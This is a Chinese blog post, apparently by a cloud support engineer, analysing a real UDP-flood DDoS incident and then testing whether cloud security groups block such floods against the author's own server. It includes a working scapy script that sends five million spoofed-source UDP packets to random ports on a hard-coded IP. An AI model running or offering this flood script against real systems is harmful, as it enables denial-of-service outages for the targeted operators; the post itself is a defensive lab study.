DDoS 真實案例總結(jié)分析

五一申請了值班，遇到國內(nèi)某知名快遞公司同城業(yè)務(wù)在凌晨三點(diǎn)左右，客戶PV突發(fā)斷流，用戶截圖只截圖了一個PV斷流的監(jiān)控圖來，然后其使用的外網(wǎng)型LB，域名解析正確，ping LB不通（LB未設(shè)置安全組不存在禁止ICMP協(xié)議），開始緊急排查。

排查思路：

• 域名解析是否正確。 --經(jīng)過核對解析正確
• 用戶沒有對安全組進(jìn)行額外的操作。 --已排查無問題
• LB后端轉(zhuǎn)發(fā)端口。 --已排查無問題。
• LB后端健康檢查。 --已排查無問題。
• RS狀態(tài)。--已排查無問題。
• LB監(jiān)控。 --無權(quán)限。

最后問題原因出來了： 用戶受到了DDoS UDP-Flood攻擊。而且用戶也收到了云平臺推送的短信通知，但是他也不說，讓我們可勁排查。

下次正確的排查思路：

• 用戶是否收到平臺相應(yīng)的短信通知。
• ping不通時，如果網(wǎng)絡(luò)入口狀態(tài)正常，就需要用戶提供網(wǎng)絡(luò)入包量監(jiān)控截圖，優(yōu)先判斷掉是否受到了DDoS攻擊。

由此產(chǎn)生到的兩個問題。

安全組相應(yīng)設(shè)置是否能夠防御DDoS攻擊？

為什么客戶只開啟了TCP80、443的端口為什么會受到UDP Flood攻擊？

基于UDP Flood的攻擊實踐

實踐相關(guān)說明

• 這次實踐就比較簡單的組多個UDP的包，發(fā)給云服務(wù)器好了,先忽略安全組的問題。（這里就不采用反射型放大攻擊技術(shù)了，基于公司的云服務(wù)器使用規(guī)則和說明，第二個是反射型放大攻擊效果太好，8-10000倍放大攻擊害怕整出事，第三是反射型的放大攻擊需要進(jìn)行IP欺騙，我的路由器是家用型的沒辦法設(shè)置。）
• 我們需要在云服務(wù)器上部署一套監(jiān)控來查看網(wǎng)絡(luò)包的入包量。
• 需要少量的python編程的基礎(chǔ)知識。

看python腳本，本次利用的是鼎鼎大名的scapy，用來網(wǎng)絡(luò)編程是真的舒服。

#!/usr/bin/python3
from scapy.all import *
from scapy.layers.inet import IP, UDP


def src_ip():
    temp_ip = ''
    for i in range(0, 4):
        temp_ip = temp_ip + '.' + str(random.randrange(0,255))
    return temp_ip.strip('.')
ip = src_ip()
data = struct.pack('!17s', b"dffsadfsafsadfsdf")
for i in range(0,5000000):
    pkt = IP(src=ip, dst='139.155.75.204') / UDP(sport=random.randrange(1, 65536),
                                                 dport=random.randrange(1, 65536)) / data
    send(pkt, inter=0, count=1)

在服務(wù)器上面來進(jìn)行抓包下來進(jìn)行分析。（安全組設(shè)置默認(rèn)全通的情況下）

# tcpdump -i eth0 -w udp.cap udp 

服務(wù)器.png

• 可以根據(jù)這張圖得知：
  • 我隨機(jī)偽造的源地址被我的路由snat成了公網(wǎng)IP。
  • 大量接收到的UDP數(shù)據(jù)報文。
• 接下來看看云服務(wù)器上面的監(jiān)控。

流量包.png

• 安全組策略

入站規(guī)則.png

可以得出結(jié)論：

• 在安全組全開的情況下，流量直接到達(dá)服務(wù)器，攻擊生效。

再來看看設(shè)置了安全組關(guān)閉所有UDP端口看是否能夠有效的阻止攻擊。

• 安全組策略

拒絕安全組.png

• 攻擊時云服務(wù)器監(jiān)控

云監(jiān)控.png

• 停止攻擊后的云服務(wù)器監(jiān)控

停止后的云服務(wù)器監(jiān)控.png

使用TCPDUMP抓包沒有看到包了，但是還是在控制臺監(jiān)控上看到流量的入包情況。

最后的總結(jié)分析

• 1.安全組相應(yīng)設(shè)置是否能夠防御DDoS攻擊？

  • 實踐證明沒用，雖然在安全組策略上動了心思不允許流量進(jìn)入云服務(wù)器，但是流量到達(dá)了安全組之后，流量依然還是計算在云服務(wù)器上。

• 2.為什么客戶只開啟了TCP80、443的端口為什么會受到UDP Flood攻擊？

  • 查找了很多有關(guān)的書籍和文檔，并沒有找到權(quán)威的解釋，所以這里有問題歡迎大家找我討論：qinghualai@foxmail.com

timg.jpeg

• 我們關(guān)注數(shù)據(jù)解封裝的過程，由下至上逐層解封，在下層未將報文傳遞給上層之前，上層是無法感知數(shù)據(jù)的。當(dāng)數(shù)據(jù)報文打到網(wǎng)絡(luò)層的時候，已經(jīng)完成了IP之間的點(diǎn)到點(diǎn)通訊，網(wǎng)絡(luò)層將數(shù)據(jù)包傳遞給傳輸層UDP協(xié)議時，UDP發(fā)現(xiàn)沒有該協(xié)議的端口工作，此時UDP報文會怎么做？未能查到權(quán)威書籍不敢下結(jié)論，但是已經(jīng)報文到達(dá)傳輸層，已經(jīng)完成了流量攻擊，攻擊發(fā)起者不再關(guān)注后續(xù)的操作。
• 所以不管在云服務(wù)器前面部署防火墻或者是其他的設(shè)備，都需要感知傳輸層報文，都會成為第一道被打擊的對象。都會堵塞其網(wǎng)絡(luò)。唯有流量牽引和清洗回注技術(shù)方可解決。DDoS攻擊及其變種的放大、CC等已經(jīng)成為目前互聯(lián)網(wǎng)的耗費(fèi)最小打擊效果最大的一種攻擊手段，讓受害者面臨巨大的經(jīng)濟(jì)損失。我們一定要加強(qiáng)自己的安全意識，和防護(hù)手段才能避免成為不法分子手中的武器。